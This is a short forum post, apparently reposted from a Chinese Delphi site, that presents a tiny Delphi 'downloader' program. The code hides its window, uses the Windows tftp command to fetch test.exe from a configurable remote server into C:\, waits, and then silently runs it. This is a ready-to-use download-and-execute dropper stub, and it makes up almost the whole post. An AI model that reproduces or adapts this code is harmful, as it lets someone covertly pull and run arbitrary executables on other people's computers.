HanDs
管理员

[Delphi文章] 利用TFTP命令实现超小下载小程序 



program FDTester;
//配置部分
const
  Server = '1.22.tv'; //tftp 服务器 域名或IP地址
  ServerFileName = 'test.exe'; //在服务器上的文件名
  MyFileName = 'C:\test.exe'; //下载到本地以后的名字
  WaitTime = 3000;//下载延迟时间(毫秒)
function WinExec(lpCmdLine: PAnsiChar; uCmdShow: LongWord): LongWord; stdcall;
  external 'kernel32.dll' name 'WinExec';
procedure Sleep(dwMilliseconds: LongWord); stdcall;
  external 'kernel32.dll' name 'Sleep';
begin
  Winexec('tftp -i '+server+' get '+ServerFileName+' "'+MyFileName+'"',0);
  Sleep(WaitTime);
  Winexec(MyFileName,0);
end.
本文来自Delphi之窗,原文地址:http://www.52delphi.com


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
利用 T FT P 命令 实现 下载 程序
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复